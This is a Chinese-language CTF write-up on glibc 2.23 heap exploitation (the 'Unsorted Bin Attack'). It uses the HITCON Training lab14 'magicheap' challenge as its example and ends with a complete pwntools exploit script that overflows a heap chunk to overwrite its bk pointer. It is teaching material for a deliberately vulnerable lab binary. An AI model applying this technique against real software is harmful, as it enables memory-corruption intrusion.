PWN系列堆利用之 Unsorted Bin Attack – 作者:ATL安全团队

本文题目调试环境:pwndocker + glibc2.23 + python3 + pwntools + IDA7.0

Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。从而达到实现修改任意地址值为一个较大的数值。

什么是 Unsorted Bin

基本来源

1.当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。

2.释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。

3.当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

1.Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。

2.在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

Unsorted Bin Attack原理

在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
 malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。

HITCON Training lab14 magic heap

分析

按照惯例,首先检查下有什么保护

root@daily_exercise:/ctf/work/heap/unsorted_bin_attack/hitcontraining_lab14# checksec magicheap
[*] '/ctf/work/heap/unsorted_bin_attack/hitcontraining_lab14/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

然后看看程序的功能

--------------------------------
      Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :

载入IDA先分析分析有什么可以利用的地方,经过分析之后,我们发现

1.创建堆。根据用户指定大小申请相应堆,并且读入指定长度的内容,但是并没有设置 NULL。

2.编辑堆。根据指定的索引判断对应堆是不是非空,如果非空,就根据用户读入的大小,来修改堆的内容,这里其实就出现了任意长度堆溢出的漏洞。

3.删除堆。根据指定的索引判断对应堆是不是非空,如果非空,就将对应堆释放并置为 NULL。同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了。

利用思路

前边找到漏洞点了,那么我们这道题就很好解了:

1.释放一个堆块到 unsorted bin。

2.利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。

3.触发漏洞即可。

动态调试

执行完EXP中的del_heap(1)之后,3个chunk的内存分布如下:

1612838306_6021f5a2888488931536f.jpg!small

我们看到已经修改Unsorted bin中的bk。

1612838337_6021f5c116f51de135096.jpg!small

然后我们再执行create_heap(0x80, “dada”)触发Unsorted bin Attack。使得0x06020C0地址处内容被修改。

1612838354_6021f5d21a6476706e485.jpg!small

满足条件后成功获得flag。至此动态调试结束。

EXP脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
#r = process('./magicheap')
r = remote('127.0.0.1', 10001)
def create_heap(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def edit_heap(idx, size, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def del_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
create_heap(0x20, "dada")  # 0
create_heap(0x80, "dada")  # 1
# in order not to merge into top chunk
create_heap(0x20, "dada")  # 2
del_heap(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, b"a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada")  #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("4869")
r.interactive()

来源:freebuf.com 2021-02-17 13:36:20 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论